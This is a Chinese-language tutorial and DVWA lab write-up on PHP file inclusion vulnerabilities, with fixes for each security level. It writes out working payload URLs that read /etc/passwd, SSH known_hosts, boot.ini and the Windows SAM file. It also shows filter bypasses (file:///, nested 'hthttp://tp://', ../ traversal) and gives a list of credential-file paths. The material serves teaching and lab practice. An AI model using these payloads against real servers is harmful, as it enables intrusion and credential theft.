目录
一、文件包含
1、文件包含原理
文件包含:开发人员将相同的函数写入单独的文件中,需要用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称为文件包含。
漏洞成因:开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
2、文件包含函数
- Require():找不到被包含文件,报错,并且停止运行脚本。
- Include():找不到被包含文件,报错,但会继续运行脚本。
- Require_once():与require类似,区别在于,当重复调用同一文件时,程序只调用一次。
- Include_once():与include类似,区别在于,当重复调用同一文件时,程序只调用一次。
3、文件包含的特征
?page=
?file=
?home=
4、文件包含分类
- 本地文件包含
- 远程文件包含(即加载远程文件,在
php.ini
中开启allow_url_include
、allow_url_fopen
选项。开启后可以直接执行任意代码。)
5、目录遍历与文件包含的区别
目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对于本系统;
文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含;
6、利用
- 读取敏感文件
- 远程包含shell
- 图片上传并包含图片shenll
- 使用伪协议
- 包含日志文件GetShell
- 截断包含
7、修复方案
- 禁止远程文件包含
allow_url_include=off
- 配置
open_basedir=指定目录
,限制访问区域。- 过滤
../
等特殊符号- 修改Apache日志文件的存放地址
- 开启魔术引号
magic_quotes_qpc=on
- 尽量不要使用动态变量调用文件,直接写要包含的文件。
8、常见敏感信息路径
Windows系统
- C:\boot.ini //查看系统版本
- C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
- C:\windows\repair\sam //存储Windows系统初次安装的密码
- C:\ProgramFiles\mysql\my.ini //MySQL配置 C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
- C:\windows\php.ini //php配置信息
Linux系统
- /etc/passwd //账户信息
- /etc/shadow //账户密码文件
- /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
- /usr/local/app/php5/lib/php.ini //php相关配置
- /etc/httpd/conf/httpd.conf //apache配置文件
- /etc/my.conf //MySQL配置文件
- /etc/resolv.conf //DNS客户机配置文件
- /root/.ssh/know_hosts //访问计算机的公钥文件
- /etc/network/interfaces //网卡配置文件
二、实验环境
1、DVWA服务器:Windows Server 2003,IP为192.168.247.129
2、DVWA服务器:Linux,IP为192.168.247.135
3、测试机:Windows(开启代理)
三、实验步骤
Windows
点击“File Inclusion”(文件包含),提示 allow_url_include 没有开启。
如果打开dvwa中的File Inclusion出现上图所示提示,The allow_url_include is not enabled,需在DVWA服务器上修改php-ini配置文件,开启本地包含,并重新启动phpstudy。具体操作如下图所示:
重启phpStudy后,在物理机上打开File Inclusion,可以正常使用。
通过对File Inclusion 的不同操作,我们可以得出下图所示结论
当我们输入http://192.168.247.129/dvwa/vulnerabilities/fi/?page=/etc/passwd,可以看到报错,显示没有这个文件,说明服务器系统不是Linux。从而暴露了服务器文件的绝对路径C:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabitilies\fi\index.php
安全等级:LOW
源码分析
- page参数没有进行任何过滤与检查
- 点击单个文件名链接,服务器会包含相应的文件,将结果返回
服务器包含文件时,不论文件后缀是否是php,都会尝试当做php文件执行。若文件内容为php,则正常执行并返回结果,反之,则会原封不动地打印文件内容。因此,文件包含漏洞常常会导致任意文件读取与任意命令执行。
1、漏洞利用——读取敏感文件
C:\boot.ini 查看系统版本
C:\windows\repair\sam
C:\phpStudy\PHPTutorial\WWW\1.txt
在dvwa服务器上的C:\phpStudy\PHPTutorial\WWW目录下新建1.txt,内容与当前目录下的phpinfo.php中的内容相同。
C:\phpStudy\PHPTutorial\WWW\phpinfo.php
- C:\phpStudy\PHPTutorial\WWW\dvwa\1.txt
C:\phpStudy\PHPTutorial\WWW\dvwa\php.ini 查看php配置文件
证明服务器包含文件时,不论文件后缀是否是php,都会尝试当做php文件执行。若文件内容为php,则正常执行并返回结果,反之,则会原封不动地打印文件内容。
远程文件包含
http://192.168.247.129/dvwa/vulnerabilities/fi/?page=http://192.168.247.129/1.txt
当输入目标主机IP地址时,直接进入目标主机的www目录下。
安全等级:Medium
源码分析
- 增加了str_replace()函数,对page参数进行处理
- 将http://、https://、../、..\替换为空字符
本地包含
使用file:///方式绕过
http://192 .168.247.129/dvwa/vulnerabilities/fi/?page=file:///c:\boot.ini
远程包含
使用 “hthttp://tp://” 嵌套方式绕过
http://192.168.247.129/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.247.129/1.txt
安全等级:High
源码分析
使用fnmatch函数检查page参数,要求page参数必须以file开头,且不等于include.php;不能进行远程包含。
可以使用file:///方式绕过
http://192 .168.247.129/dvwa/vulnerabilities/fi/?page=file:/// C:\phpStudy\PHPTutorial\WWW\1.txt
安全等级:Impossible
源码分析(无法绕过)
使用了白名单机制,page参数必须为include.php、file1.php、file2.php、file3.php之一,彻底杜绝了文件包含漏洞。
Linux
安全等级:LOW
源码分析
page参数没有进行任何过滤与检查,直接在浏览器地址栏进行URL构造
本地包含
1、http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/passwd(未报错,说明此系统为Linux系统)
2、查看DNS配置文件的内容
http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/resolv.conf
3、http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/root/.ssh/known_hosts
4、查看网卡配置文件
http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/network/interfaces
安全等级:Medium
源码分析
将“http://”, “https://” 替换为空;
本地包含 (不受影响)
http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=../../../../../../../../../etc/passwd
http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
远程包含
可以使用hthttp://tp://嵌套的方式绕过
安全等级:High(无法绕过)
源码分析
page参数只能是include.php,杜绝了文件包含漏洞。